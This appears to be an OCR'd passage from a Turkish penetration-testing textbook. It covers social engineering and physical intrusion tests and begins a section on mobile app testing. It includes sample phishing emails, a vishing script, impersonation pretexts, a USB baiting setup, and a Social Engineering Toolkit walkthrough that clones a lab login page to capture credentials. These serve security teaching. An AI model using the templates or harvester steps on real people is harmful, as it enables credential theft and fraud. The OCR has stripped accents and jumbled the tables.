kullanicilarin hem dijital ortamdaki (e-posta, web, mesajlasma) hem de fiziksel ortamdaki (ylz yize
iletisim, erisim kontroll) davranislari birlikte degerlendirilir.

Test edilen baslica zafiyet tirleri; kimlik avi, hedefli saldirilar (spear phishing), telefon lizerinden bilgi
elde etme, fiziksel erisim zafiyetleri ve kullanici kaynakli bilgi ifsasidir. Bu zafiyetlere karsi olusturulan
saldiri senaryolari ve gercgeklestirilen test sonuclari Tablo 3.6’da gosterilmektedir.

Tablo 3.6: Sosyal Mihendislik Sizma Testlerinde Agikhklar, Saldirilar ve Saldiri Turleri

Kimlik Dogrulama Phishin Kullanicilara sahte e-postalar gonderilerek kullanici adi,
Farkindalik Eksikligi & parola gibi bilgilerin elde edilmesi amaclanir.

Belirli bir kisi veya kuruma yonelik hazirlanmis, daha

Hedefe Ozel Giiven iliskisi | Spear Phishin
: = . inandirici ve kisisellestirilmis saldiri tiridur.

Vishing (Sesli | Telefon araciligiyla kullanicidan hassas bilgilerin elde

Telefon Giivenligi Zafiyeti
uveniigl ¥ Kimlik Avi) edilmesi hedeflenir.
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] .

Saldir Tiri Agiklama

Eksikligi

Fiziksel Guvenlik Tailgating/ Yetkisiz kisilerin, yetkili bir kullaniciyi takip ederek fiziksel
Eksikligi Piggybacking ortama giris saglamasidir.
Bilgi Paylasim . Sahte bir senaryo (kimlik) olusturularak kullanicidan bilgi
. e Pretexting . .
Dikkatsizligi elde edilmesi amaglanir.
Medya / USB " Zararli USB veya dosyalar araciligiyla kullanicilarin sistemi
Baiting (Yemleme) . .
Kullanimi tehlikeye atmasi saglanir.
Sosyal Medya Bilgi | OSINT Tabanl Kullanicilarin sosyal medya paylasimlarindan bilgi
Sizintisi Saldirilar toplanarak saldiri hazirlanir.
Impersonation
. o .p . Saldirganin kendisini yetkili bir kisi gibi tanitarak bilgi elde
Guven Algisi Zafiyeti | (Kimlige L o
. etmesi yontemidir.
Blrinme)
Kullanici Farkindalk | Link Kullanicilarin sahte veya zararl baglantilara

Manipulasyonu yonlendirilmesi ile bilgi ele gecirilmesi saglanir.

Kurumsal Suireg
Bilgisizligi

Kullanicidan sistem erisimi, parola sifirlama, yetki
verme gibi islemlerin talep edilmesi ile gerceklestirilen
saldirilardir.

Yetki Talep
Saldirilar

Sosyal Miihendislik Senaryo Ornekleri

Sosyal miihendislik sizma testlerinde kullanilan senaryolar, gercek hayatta karsilasilabilecek saldiri

yontemlerini kontrolli bir ortamda simile etmek amaciyla olusturulur. Bu senaryolar, kullanicilarin

farkli durumlar karsisinda nasil tepki verdigini analiz etmek ve insan faktériinden kaynaklanan gilivenlik
zafiyetlerini ortaya cikarmak acisindan biiyiik 6nem tasir. Ozellikle kimlik avi, telefon dolandiriciligi,
kimlige burinme gibi teknikler tizerinden kurgulanan érnek olaylar, kullanici farkindaligini 6lgmek ve
givenlik politikalarinin etkinligini degerlendirmek icin etkili bir yontem sunar. Sosyal mihendislik sizma
testlerinde sik¢a kullanilan senaryo drnekleri sunlardir:

1. Kimlik Avi (Phishing) E-Posta Senaryosu

Phishing saldirilarinda kullanilan 6rnek bir e-posta senaryosu Gorsel 3.90’da gosterilmektedir.

Acil: Hesap Dogrulama Gerekiyor - @ X

Kime SIRKET PERSONELI Ce Bee

Acil: Hesap Dogrulama Gerekiyor

Sayin Kullanicr,

Bilgi guvenligi politikalarimiz kapsaminda hesabinizda olagan digi bir giris denemesi tespit
edilmistir. Hesabinizin giivenligini saglamak amaciyla degrulama islemini tamamlamaniz
gerekmektedir.

Lutfen asagidaki baglantiya tiklayarak hesabinizi dogrulayiniz:

[Hesabimi Dogrula]

Bu islemi 24 saat icerisinde gerceklestiremezsiniz hesabiniz gegici olarak askiya alinacaktir.
Bilginize sunariz

Bilgi Teknolojileri Departmani

Gorsel 3.90: Phishing e-postasi
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« Aciliyet hissi olusturulur.

E-postada kullanilan Otorite (IT departmani) kullanihr.

unsurlar sunlardir: « Kullanici korku ile harekete gegirilir.

« Link tGzerinden veri toplama hedeflenir.

2. Telefon Dolandiricihigi (Vishing) Senaryosu
— Merhaba, ben IT destek ekibinden Murat

— Sistemde bir glincelleme yapiyoruz ve bazi kullanici hesaplarinda erisim problemi olustu. Sizin
hesabiniz da etkilenmis goriiniyor. Hizlica kontrol edebilmem igin kullanici adinizi ve sifrenizi
dogrulamam gerekiyor. Ardindan erisiminizi hemen aktif hale getirecegim. Su an misaitseniz
birlikte ¢dzelim, aksi halde hesabiniz gecici olarak kilitlenebilir.

« Otorite (IT personeli) kullantlir.

» Aciliyet ve baski hissi olusturulur.

Telefon gériismesinde

kullanilan unsurlar + Kullanicidan dogrudan hassas bilgi talep edilir.

sunlardir: « Given olusturulmaya calisilir.

« Hizli aksiyon alinmaya calisilir.

3. Sahte Login Sayfasi (Pretexting + Phishing) Senaryosu
Kullaniciya su mesaj gonderilir:
Sirket ici portal, yeni sisteme tasindi. Asagidaki baglantidan giris yapmaniz gerekmektedir.

sahte-guncelleme-sitesi.com

« Gercek siteye benzer domain kullanilr.

Mesajda kullanilan « Kurumsal dil kullantlir.

unsurlar sunlardir: « Giincelleme bahanesi kullanilir.

» Kullanici, fark ettiriimeden yonlendirilir.

4. Yemleme (Baiting) Senaryosu

Ofis ortamina veya ortak kullanim alanlarina (yemekhane, lobi vb.) Gzerinde Maas Listesi 2026, Gizli
veya Yonetim Kurulu Kararlari ibaresi bulunan sahte bir USB bellek birakilir.

« Merak ve kisisel ¢ikar duygusu istismar edilir.

» Bellegin igine vyerlestirilen ve Maas_Listesi.xIsx gibi gorlinen ancak
Senaryoda kullanilan aslinda makro iceren bir dosya veya dogrudan bir HID (Human Interface
unsurlar sunlardir: Device) saldiri aygiti (BadUSB) kullanihr.

@ SIZMA TESTI
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5. Kimlige Biriinme (Impersonation) Senaryosu

— Merhaba, ben yeni finans muduriyim. Sizden hizlica bir ricam olacak. Yonetim kuruluna sunum
yapacagim ve bazi kullanici raporlarina ihtiyacim var. Bana ilgili Excel dosyasini iletebilir misiniz?
Cok acil!

Ust diizey yetkili rolii yapilarak giiven ve baski kurulur.

Konu;mada kullanilan . AC|I|yet hissi O|U§turu|ur.

unsurlar sunlardir: « Calisan tizerinde baski kurulur.

- Veri sizdirma hedeflenir.

6. Omuzdan Bakma (Shoulder Surfing) Senaryosu

Kalabalik bir kafede veya havaalani bekleme salonunda hedef kisinin arkasindaki masaya oturulur.
Hedef kisi, kurumsal dizistl bilgisayarini acip VPN sifresini veya e-posta parolasini girerken dogrudan
godzlem yapilarak veya telefonunun kamerasini kullanarak tus vuruslari kaydedilir.

- 8. Uygulama

Bir firmanin sizma testini gerceklestirirken sizden kullanici farkindaligini 6lcmeye yonelik bir calisma
yapmaniz talep edilmistir ve kullanicilara asagidaki mail (e-posta) génderilmistir. Bu kapsamda Social
Engineering Toolkit (SET) araci kullanilarak kullanicilarin sik ziyaret ettigi bir web sitesinin klonunu
olusturarak kullanicilarin glivenlik farkindaligini test ediniz.

1. Adim: Asagidaki phishing mailini tiim kullanicilara génderiniz.
Phishing Simiilasyon Maili (Egitim Amach)

Konu: Glivenlik Glincellemesi: Hesabinizi Dogrulamaniz Gerekiyor.
Mail igerigi

Sayin Kullanicimiz,

Sistemlerimizde vyapilan son glvenlik glincellemeleri kapsaminda hesabinizin dogrulanmasi
gerekmektedir. Glvenliginiz icin asagidaki baglanti Gzerinden giris yaparak bilgilerinizi kontrol etmeniz
rica olunur.

@@ Hesabimi Dogrula:

http://192.168.1.100

Bu islem yapilmadigi takdirde hesabiniz gecici olarak askiya alinabilir.

Bilgilerinizi korumak icin bu islemi yalnizca size 6zel baglanti Gizerinden gerceklestirmeniz 6nemlidir.

Anlayisiniz igin tesekkdir ederiz.

Bilgi Teknolojileri Departmani

2. Adim: Social Engineering Toolkit (SET) aracini setoolkit komutunu kullanarak baslatiniz.
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3. Adim: Agilan menlide Website Attack Vectors segenegini segmek igin 2 tusuna basiniz (Gorsel 3.91).

Select from the menu:

-Phishing At
Website Att: ors
Infectious | Generator

o L

Arduino-Based Att

ess Access P

L= |

Third Party Modules

=

Return back to the maim menu.

Gorsel 3.91: Web sitesi olusturma secenegi

4. Adim: Acilan alt meniide Credential Harvester Attack Method secenegini secmek icin 3 tusuna
basiniz (Gorsel 3.92).

Java Applet Attack Method

ickin
Multi-At
HTA Attack

eturn to Main Menu

Gorsel 3.92: Hesap bilgileri ele gegirme segenegi

5. Adim: Acilan meniide Site Cloner secenegini se¢mek icin 2 tusuna basiniz (Gorsel 3.93).

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

) Web Templates
ite Clone
3) Custom Import

99) Return to Webattack Menu

ster will allow you to utili \pa es within SET
ntials or parameters from a websi as wi a lace them into a report

Gorsel 3.93: Site klonlama
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6. Adim: Harvester/Tabnabbing islemi icin POST back IP adresi olarak saldirgan makinenin IP adresini
(192.168.1.100) giriniz, ardindan klonlanacak hedef web sitesinin adresini (https://192.168.1.27/
DVWA/login.php) girerek site kopyalama islemini baslatiniz (Gorsel 3.94).

Gorsel 3.94: Kopyalama islemi ve verilen link

7. Adim: Saldirgan makinenin IP adresinin (http://192.168.1.100) tarayici Uizerinden acilarak klonlanan
sahte giris sayfasina erismesini saglayarak kullanici ve parola girisini bekleyiniz (Gorsel 3.95).

SRR e Q_ https://192.168.1.100

KaliLinux &8 KaliTools = KaliDocs & Kali Forums  Kali NetHunter Exploit-DB Google Hacking DB OffSec

D\(WA)

Username

mtegm

Password

[ Login|

Damn Vuinerable Web Application (DVWWA)

Gorsel 3.95: Sahte (fake) site girisi

8. Adim: Kullanici, sahte giris sayfasina bilgilerini girdikten sonra Credential Harvester araciyla bu bilgileri
yakalayarak terminal ekraninda goéruntileyiniz [Bu asamada kullanici adi, sifre ve token bilgilerinin elde
edildigini gorlintiuleyiniz (Gorsel 3.96).].

owse to your site.

"GET / HTTR/1.1" 200 -

Gorsel 3.96: Bilgilerin ele gegirilmesi

Bu tiir bir saldiri, sizma testi kapsaminda kullanicilara phishing (oltalama) yontemleri veya
ag icerisinde gerceklestirilen DNS zehirleme teknikleri aracihigiyla ulastirilarak kullanicilarin
glvenlik farkindaligini ve bu tir tehditlere karsi tepkilerini test etmek amaciyla kullanilir.
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Sira Sizde

Sinif arkadaslarinizla iki gruba ayrilarak kimlik avi e-postalari lzerine uygulamah bir ¢alisma
gerceklestiriniz. Birinci grup; saldirganlar rolinl Ustlenmeli ve bir kurum calisanini hedef alan
aciliyet, otorite veya merak duygusu olusturacak ifadeler kullanarak sifre, dogrulama bilgisi veya
kisisel veri elde etmeyi amaglayan bir e-posta hazirlamalidir. ikinci grup ise hedef kullanicilar olarak
hazirlanan e-postayl analiz etmeli, bunun bir phishing saldirisi olup olmadigini degerlendirmeye
calismalidir. Hedef kullanicilar; e-posta iceriginde yer alan stipheli baglantilar, dil hatalari, sahte
gonderici adresleri ve manipiilasyon tekniklerini tespit etmeye odaklanmalidir. Uygulama sonunda
hangi e-postalarin daha ikna edici oldugunu, kullanicilarin hangi hatalara diisebilecegini ve bu tir
saldirilara karsi nasil dnlem alinmasi gerektigini sinif ortaminda tartisarak degerlendiriniz.

3.1.5. Fiziksel Sizma Testi Uygulamalari

Fiziksel sizma testleri, bir kurumun yalnizca dijital degil ayni zamanda fiziksel giivenlik kontrollerinin
ne kadar etkin oldugunu 6lcmeyi amaclayan 6nemli glivenlik degerlendirmeleri arasinda yer alir. Bugiin
kurumlar; glivenlik kameralari, karth gecis sistemleri, alarm altyapilari, glivenlik personeli gibi cesitli
onlemler alsa da bu sistemlerin yanlis yapilandirilmasi veya insan hatasi nedeniyle fiziksel glivenlik zin-
cirinde ciddi bosluklar olusabilir. Bu durum, saldirganlarin teknik sistemlere dogrudan erisim saglayabil-
mesi agisindan énemli bir risk olusturur.

Fiziksel sizma testlerinde amag, bir saldirganin gergek hayatta uygulayabilecegi yontemleri kontrollii
ve izinli bir sekilde simile ederek kurumun fiziksel givenlik seviyesini degerlendirmektir. Bu kapsamda
yetkisiz alanlara giris denemeleri, kart kopyalama veya izinsiz gecis (tailgating), glivenlik kontrollerinin
atlatilmasi, acik birakilan kapilarin kullanilmasi, masa (izerinde birakilan hassas dokiimanlarin
incelenmesi, cihazlara fiziksel erisim saglanmasi gibi senaryolar uygulanabilir. Bu tir testler, yalnizca
teknik aciklari degil ayni zamanda calisanlarin glivenlik prosediirlerine ne 6l¢lide uydugunu da ortaya
koyar.

Fiziksel giivenlik zafiyetleri, cogu zaman dijital saldirilarin baslangic noktasi olabilir. Ornegin bir
saldirganin ofis ortamina erisim saglamasi; aga dogrudan baglanmasina, USB cihazlar araciligiyla zararh
yazilim yilklemesine veya kritik sistemlere fiziksel midahalede bulunmasina olanak taniyabilir. Bu
nedenle fiziksel glivenlik, bilgi glivenliginin ayrilmaz bir pargasi olarak degerlendirilmelidir.

Fiziksel sizma testleri sonucunda elde edilen bulgular dogrultusunda kurumlara; erisim kontrol
politikalarinin glglendirilmesi, glivenlik personelinin egitilmesi, kamera ve alarm sistemlerinin etkin
kullanimi, ziyaretgi yonetim sireglerinin iyilestiriimesi ve ¢alisan farkindaliginin artirilmasina yonelik
oneriler sunulur. Boylece kurumlar, yalnizca dijital degil fiziksel tehditlere karsi da daha direncli hale
gelir. Bu testlerin gergeklestiriimesinde en 6nemli husus, tiim ¢alismalarin 6nceden belirlenmis kapsam
ve izinler gergevesinde etik kurallara uygun olarak yiratilmesidir. Fiziksel sizma testleri sirasinda elde
edilen highir bilgi kotliye kullanilmamali ve test siireci, kurum operasyonlarini aksatmayacak sekilde
planlanmalidir. Bu yaklasim sayesinde kurumlar, fiziksel glivenlik zafiyetlerini erken asamada tespit
ederek daha buttncil bir glivenlik yapisi olusturabilir.
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Fiziksel Sizma Testi Uygulamalarinda Kullanilan Metodolojiler

Bu alanda kullanilan yéntemler arasinda fiziksel gilivenlik degerlendirme planlari, erisim kontrol test-
leri, glivenlik prosediirii analizleri ve uluslararasi giivenlik standartlarina dayali uygulama rehberleri
yer alir. Kurumlarin bina, ofis ve kritik alan givenligini degerlendirmeye yodnelik gelistirilen senaryo
tabanli yaklasimlar, fiziksel sizma testlerinin temelini olusturur.

Fiziksel sizma testi metodolojisine gore siireg; hedef alanlarin belirlenmesi, 6n bilgi toplanmasi (6rnegin
bina yapisi, giris-cikis noktalari, glivenlik dnlemleri), test senaryosunun olusturulmasi, yetkisiz erisim
denemelerinin planlanmasi, kontrolli testlerin uygulanmasi ve elde edilen bulgularin analiz edilmesi
asamalarindan olusur. Bu siirecte; kartli gegis sistemlerinin test edilmesi, acik kapi ve zayif erisim nok-
talarinin kullanilmasi, glvenlik personelinin farkindaliginin degerlendirilmesi, ziyaretci yonetim siireg-
lerinin incelenmesi, fiziksel cihazlara erisim denemeleri gibi teknikler uygulanabilir.

Test stirecinin en kritik noktalarindan biri, olusturulan senaryonun gercekgi ve kurumun giinlik isleyisine
uygun olmasidir ¢linki fiziksel glivenlik agiklari gogu zaman prosediir eksiklikleri ve insan hatasindan
kaynaklanir. Bu nedenle test senaryolari, kurum calisanlarinin davranislarini ve giivenlik aliskanliklarini
Olcebilecek sekilde kurgulanmalidir.

Elde edilen bulgular dogrultusunda kurumun fiziksel glvenlik seviyesi degerlendirilir ve gerekli
iyilestirme onerileri sunulur. Bu oneriler; erisim kontrol mekanizmalarinin giiclendirilmesi, glivenlik
personelinin egitilmesi, fiziksel glivenlik politikalarinin glincellenmesi, ¢alisan farkindaliginin artirilmasi
gibi basliklari icerebilir. Bu metodoloji sayesinde fiziksel ortamdaki glivenlik zafiyetleri sistematik bir
sekilde tespit edilerek kurumun genel giivenlik yapisi giiglendirilebilir.

Fiziksel Sizma Testlerinde Test Edilen Agikhiklar ve Saldirilar

Fiziksel sizma testlerinde amag yalnizca bir alana yetkisiz erisim saglamak degil bu erisimin hangi
glvenlik zafiyetleri, stireg eksiklikleri ve insan hatalarindan kaynaklandigini ortaya koymaktr. Bu slirecte
galisanlarin glivenlik prosedirlerine uyumu, dikkat seviyeleri, erisim kontrol kurallarina bagliliklari ve
fiziksel giivenlik farkindahklari detayli olarak incelenir.

Fiziksel glivenlik aciklari; bina giris-¢ikis noktalari, kartli gecis sistemleri, glivenlik personeli uygulamalari,
ziyaretgi yonetimi ve ofis ici davranislara bagl olarak ortaya ¢ikabilir. Bu nedenle test siirecinde hem
teknik fiziksel glvenlik onlemleri (kamera, kart sistemi, alarm vb.) hem de insan faktérine dayali
uygulamalar birlikte degerlendirilir.

-
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Test edilen baglica zafiyet tirleri; yetkisiz fiziksel erisim, erisim kontrol eksiklikleri, gulvenlik

proseddirlerinin uygulanmamasi, acik birakilan alanlar, hassas bilgilerin fiziksel ortamda korunamamasi
ve ¢alisan farkindalik eksiklikleridir. Bu zafiyetlere karsi olusturulan saldiri senaryolari ve gergeklestirilen
test sonuclari Tablo 3.7’de gosterilmektedir.

Tablo 3.7: Fiziksel Sizma Testlerinde Acikliklar, Saldirilar ve Saldiri Tirleri

Erisim Kontrol
Eksikligi

Yetkisiz Giris Denemesi

Kimlik dogrulama olmadan bina veya ofis
alanina giris yapilmasi test edilir.

Karth Gegis Zafiyeti

Kart Kopyalama / Paylasim

Kartlarin baskalariyla paylasiimasi veya
kopyalanmasi yoluyla erisim saglanmasidir.

Fiziksel Takip Zafiyeti

Tailgating/Piggybacking

Yetkili bir personelin arkasindan izinsiz
sekilde giris yapiimasidir.

Kimlik Dogrulama
Zafiyeti

Impersonation

Saldirganin kendisini yetkili biri gibi tanitarak
fiziksel erisim saglamasidir.

Acik Alan Zafiyeti

Unlocked Door/Open Access

Acik birakilan kapi, pencere veya glvenliksiz
giris noktalarinin kullaniimasidir.

Ziyaretgi Yonetim

Sahte Ziyaretci Senaryosu

Ziyaretgi kayit stireclerinin atlatilarak iceri

Eksikligi giris yaptlmasidir.

Fiziksel Bilgi Guvenligi N Masa Uzerinde birakilan dokiiman, parola
. Clean Desk Ihlali o . .

Zafiyeti notu veya hassas bilgilerin elde edilmesidir.

Donanim Glvenligi L . Bilgisayar, sunucu veya ag cihazlarina fiziksel
. Yetkisiz Cihaz Erisimi o .

Zafiyeti erisim saglanmasidir.

Donanim Yerlestirme | Donanim Yerlestirme Cihazin fiziksel olarak yanhs

Zafiyeti Zafiyeti konumlandirilmasidir.

Medya ve Port L USB veya benzeri cihazlar araciligiyla sisteme

. .. USB / Donanim Enjeksiyonu . . -
Glvenligi mudahale edilmesidir.

Tasinabilir Medya

USB Drop/Baiting

Ortama birakilan zararli USB cihazlar

Zafiyeti araciligiyla sistemlere erisim saglanmasidir.

Kamera ve Alarm . Kamera goris alani disindaki bolgelerden
o Kor Nokta Kullanimi . .

Zafiyeti erisim saglanmasidir.

Proseddr Eksikligi

Kimlik Kontrol Atlatma

Calisan kimlik karti kontroliinin yapiimamasi
sonucu giris saglanmasidir.

Farkindalik Eksikligi

Yetkisiz Yardim Talebi

Calisanlarin, tanimadigi kisilere yardim
ederek giivenlik ihlali olusturmasidir.

Atik Yonetimi Zafiyeti

Dumpster Diving

Cope atilan dokiiman ve cihazlardan hassas
bilgilerin elde edilmesidir.

Gorsel Bilgi Sizintisi

Shoulder Surfing

Kullanicinin ekrani veya klavyesi izlenerek
sifre, PIN gibi bilgilerin elde edilmesidir.

Fiziksel Kilit Zafiyeti

Lock Picking

Kapi, dolap veya glivenlik kilitlerinin fiziksel
olarak acilmasidir.
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Elde edilen bulgular dogrultusunda kurumun fiziksel glvenlik seviyesi degerlendirilir ve gerekli
iyilestirme o©nerileri sunulur. Bu oOneriler arasinda erisim kontrol sistemlerinin gliclendirilmesi,
guvenlik prosediirlerinin netlestirilmesi, ¢alisan farkindalik egitimlerinin artirilmasi ve fiziksel glivenlik

politikalarinin glincellenmesi yer alir.

Fiziksel Giivenlik Sizma Testi Senaryo Ornekleri

Fiziksel glivenlik sizma testlerinde kullanilan senaryolar, bir saldirganin gercek hayatta uygulayabilecegi
yontemlerin kontrollii ve izinli bir sekilde simiile edilmesini amaglar. Ozellikle yetkisiz erisim, kimlige
blarinme, agik alanlarin kullanilmasi, donanim yerlestirme gibi yontemler (zerinden kurgulanan
senaryolar fiziksel glivenlik farkindaligini 6lgmek acisindan oldukca 6nemlidir.

Fiziksel sizma testlerinde olusturulan senaryolar; kurumun yapisina, fiziksel ortamina ve glvenlik
politikalarina uygun sekilde hazirlanmalidir. Amag, givenlik agiklarini ortaya ¢cikarmak ve bu agiklarin
gercek bir saldirgan tarafindan nasil istismar edilebilecegini gbstermektir.

Fiziksel glivenlik sizma testlerinde sik¢a kullanilan senaryo 6rnekleri sunlardir:

Yetkisiz Ofis Girisi (Tailgating)

Sizma testi uzmani, bina girisinde yetkili bir ¢alisanin arkasindan gecerek kartl gegis sistemini atlatmay!
dener. Bu senaryoda c¢alisanlarin glivenlik farkindaligi ve erisim kontrol disiplinine uyumu olgulir.
Kimlige Biirlinerek Giris (Impersonation)

Sizma testi uzmani kendisini teknik servis personeli, temizlik gorevlisi gibi tanitarak bina icine giris
yapmaya c¢alisir. Bu stregte glivenlik personelinin ve ¢alisanlarin, kimlik dogrulama konusundaki dikkat
seviyesi degerlendirilir.

Acik Kapi / Zayif Giris Noktasi Kullanimi

Sizma testi uzmani; agik birakilmis bir kapi, pencere veya acil ¢ikis noktasi lizerinden binaya girmeyi
dener. Bu senaryo, fiziksel glivenlik kontrollerinin surekliligini test eder.

Ziyaretci Yonetim Siirecinin Atlatilmasi

Sizma testi uzmani ziyaretci gibi davranarak kayit yaptirmadan veya sahte bilgilerle bina icine girmeye
calisir. Bu senaryoda resepsiyon ve ziyaretci kontrol sirecleri analiz edilir.

Hassas Bilgiye Fiziksel Erisim (Clean Desk ihlali)

Sizma testi uzmani, ofis ortaminda masa lzerinde birakilmis dokiimanlar, not kagitlari veya parola
bilgilerini toplamayi dener. Bu senaryo, ¢alisanlarin bilgi glivenligi farkindaligini dlger.

Zararh Donanim Yerlestirme (Rogue Device)

Sizma testi uzmani, kurum agina kiglk bir cihaz (6rnegin mini bilgisayar veya rogue access point)
yerlestirerek ag trafigini izlemeyi veya i¢ aga erisim saglamayi hedefler.
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Yetkisiz Cihaz Erigimi

Sizma testi uzmani, acik birakilmis bir bilgisayar veya kilitlenmemis sistem lzerinden islem yapmaya
calisir. Bu senaryo, kullanicilarin oturum giivenligi aliskanlklarini test eder.

Cop Analizi (Dumpster Diving)

Sizma testi uzmani, kurumun atik alanlarini inceleyerek hassas dokiiman veya bilgi elde etmeye calisir.
Bu senaryo, veri imha siireglerinin etkinligini degerlendirir.

Sira Sizde

m Bu senaryoda, hedef sistem hakkinda onceden belirli bilgilere sahip oldugunuz
varsayllmaktadir.

Egitim amacli olusturulan bir yerel ag ortamina uzaktan erisime agik bir Raspberry Pi cihazi dahil
ediniz (Oncesinde bu cihazi, izerinde belirli bir uzaktan erisim servisi (6rnegin SSH) aktif olacak
sekilde yapilandiriniz.). Bu kapsamda su adimlari gergeklestiriniz:

» Hedef sistemin acik portlarini tespit etmek amaciyla uygun tarama araglarini kullaniniz.
« Uzaktan erisim servisine ait portu belirleyiniz.

+ Tespit ettiginiz port lGzerinden sisteme erisim saglamayi deneyiniz.

« Erisim sonucunda elde edilen yetkileri analiz ediniz.

« Yerel ag icerisindeki diger sistemlere erisim imkanlarini degerlendiriniz.

(& J

3.1.6. Mobil Uygulama Sizma Testi Uygulamalari

Buglin mobil cihazlarin hayatin merkezine yerlesmesiyle birlikte mobil uygulamalar yalnizca kullanici
deneyimi sunan araglar olmaktan gikarak kisisel verilerin, finansal bilgilerinin ve kritik is stireglerinin
islendigi platformlar haline gelir. Bu durum, mobil uygulamalari siber saldirganlar i¢in cazip hedefler
haline getirirken giivenlik degerlendirmelerinin 6nemini de artirmistir.

Mobil uygulama sizma testi, bir uygulamanin glivenlik seviyesini degerlendirmek amaciyla kontrollii ve
izinli saldiri senaryolarinin uygulanmasi suirecidir. Bu slirecte amag, yalnizca bir sisteme erisim saglamak
degil bu erisimin hangi zafiyetlerden kaynaklandigini ortaya koymak ve ilgili riskleri analiz etmektir.

Mobil uygulamalar; istemci tarafi (mobil cihaz), sunucu tarafi (backend servisler) ve bu iki yapi arasindaki
iletisim katmanlarindan olusur. Bu nedenle sizma testleri, yalnizca uygulamanin goériinen araytiiziyle
sinirli kalmaz, ayni zamanda API guvenligi, kimlik dogrulama ve yetkilendirme mekanizmalari, veri
saklama yontemleri, uygulama ici iletisim siirecleri gibi bircok farkl bileseni kapsar.

Testlerin temel amaci; uygulamada bulunan givenlik agiklarini erken asamada tespit ederek olasi
veri ihlallerinin, yetkisiz erisimlerin ve sistem manipilasyonlarinin énline ge¢mektir. Yapilan testler,
gelistiricilere ve kurumlara somut iyilestirme onerileri sunarak giivenli yazilim gelistirme sireglerinin
glclendirilmesine katki saglar.
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Mobil uygulama sizma testleri; Android ve iOS basta olmak lizere farkl platformlarda gergeklestirilebilir

ancak her platformun kendine 6zgi glvenlik mimarisi, test yaklasimini ve kullanilan araglari dogrudan
etkiler. Bu nedenle test slirecinde platforma 6zgii riskler ve tehditler dikkate alinmalidir.

Mobil Uygulama Sizma Testi Uygulamalarinda Kullanilan Metodolojiler

Mobil uygulama sizma testleri, rastgele veya diizensiz sekilde gerceklestirilen islemlerden ziyade belirli
standartlar ve metodolojiler cercevesinde yirutilmelidir. Bu metodolojiler; test siirecinin sistematik
olmasinisaglarken elde edilen bulgularin dogrulugunu ve glvenilirligini artirir. Ayni zamanda uluslararasi
glivenlik standartlarina uyumlu testlerin gergeklestirilmesine imkan tanir.

Mobil uygulama gilivenligi alaninda en yaygin ve en kapsamli metodolojik yaklasimlarin basinda OWASP
tarafindan gelistirilen kaynaklar gelmektedir. Baslangicta web uygulamalarina odaklanan bu yapi,
zamanla mobil uygulama giivenligi icin de kapsamli rehberler ve standartlar sunmustur.

OWASP yaklasiminin temel bilesenlerinden biri olan OWASP Mobile Top 10, mobil uygulamalarda en
sik karsilasilan ve en kritik glivenlik risklerini siniflandiran bir referans listesidir. Bu liste; veri sizintilari,
zayiIf kimlik dogrulama mekanizmalari, hatali yetkilendirme kontrolleri, glivenli olmayan veri depolama
gibi riskleri 6nceliklendirerek test siirecinde hangi alanlara odaklanilmasi gerektigini belirler. Diizenli
olarak giincellenmesi sayesinde gilincel tehdit ortamini yansitan dinamik bir yol haritasi sunar.

Mobil uygulama sizma testlerinde kullanilan OWASP Mobil Uygulama Giivenlik Test Kilavuzu (MASTG),
bir diger 6nemli kaynaktir. Bu kilavuz; bilgi toplama asamasindan baslayarak uygulama analizi, glivenlik
kontrollerinin degerlendirilmesi, zafiyetlerin istismar edilmesi ve istismar sonrasi analiz siireclerine
kadar uctan uca bir test metodolojisi sunar. icinde yer alan kontrol listeleri ve teknikler, test uzmanlarina
sistematik bir yaklasim kazandirirken higbir kritik adimin atlanmamasini saglar.

OWASP Mobil Uygulama Gilivenlik Dogrulama Standardi (MASVS), mobil uygulamalar igin uygulanmasi
gereken glivenlik gereksinimlerini tanimlar. MASVS; bir uygulamanin giivenlik seviyesini 6lgmek, test
kapsamini belirlemek ve elde edilen bulgulari standart bir cercevede degerlendirmek agisindan énemli
bir referans noktasidir. Bu standart sayesinde hem gelistiriciler hem de sizma testi uzmanlari ayni
glvenlik kriterleri tGizerinden hareket edebilir.

OWASP kaynaklarina ek olarak mobil uygulama glivenligi alaninda farkli kurum ve organizasyonlar
tarafindan gelistirilen gesitli cerceveler de bulunur. Bu cerceveler, ozellikle belirli sektorlerde veya
platformlarda glvenlik gereksinimlerinin daha detayh ele alinmasini saglar.

« NIAP (National Information Assurance Partnership)

Mobil uygulamalar icin glvenlik ve islevsel gereksinimleri detaylandirir. Kriptografik islemler, kimlik
bilgisi yonetimi, veri koruma, platform erisimleri gibi kritik konularda kapsamli degerlendirme
kriterleri sunar.

- joXt Alliance

Baslangicta loT cihaz glivenligi icin olusturulmus olsa da zamanla mobil uygulamalar ve VPN
¢oziimlerini de kapsayacak sekilde genisletilmistir. Ozellikle Android uygulamalar icin giivenlik
profilleri ve sertifikasyon kriterleri sunar.

SIZMA TESTI @



MR | 3. OGRENME BiRiMi

« App Defense Alliance-MASA (Mobile Application Security Assessment)

Mobil uygulama ekosisteminde glvenligi artirmayi hedefleyen bu girisim, ozellikle uygulama
magazalarinda yer alan uygulamalar icin glvenlik degerlendirme siireclerini standartlastirir.
MASA, OWASP MASVS kriterlerini temel alarak gelistiricilerin uygulamalarini giivenlik agisindan
dogrulamalarina ve sertifikalandirmalarina olanak tanir.

Metodolojilerin birlikte kullaniimasi, mobil uygulama sizma testlerinin daha kapsamli ve etkili bir sekilde
gerceklestiriimesini saglar. Ayni zamanda test sonugclarinin uluslararasi standartlara uygun olmasina
katki sunarak kurumlarin giivenlik olgunlugunu artirir ve kullanici giivenini giiglendirir.

Mobil Uygulama Sizma Testlerinde Test Edilen Agikliklar ve Saldirilar

Mobil uygulamalarda karsilasilan glivenlik aciklari; uygulamanin istemci tarafi, sunucu tarafi ve
bu iki yapi arasindaki iletisim katmanlarinda ortaya ¢ikabilir. Bu nedenle test sireci; veri depolama
yontemlerinden API glivenligine, kimlik dogrulama mekanizmalarindan uygulama ici iletisime kadar
genis bir saldir ylizeyini kapsar. Bu alanda en 6nemli referanslardan biri olan OWASP Mobile Top 10
listesi, mobil uygulamalarda en kritik riskleri ortaya koyarak test slireclerine yon verir. Bu riskler; kimlik
bilgisi ydonetimi hatalari, glivenli olmayan iletisim, yetersiz kriptografi, yanhs yapilandirmalar gibi bircok
farkh glvenlik zafiyetini kapsar. Test edilen baslica zafiyet tiirleri ve bu zafiyetlere karsi gergeklestirilen
saldirilar Tablo 3.8’de gosterilmektedir.

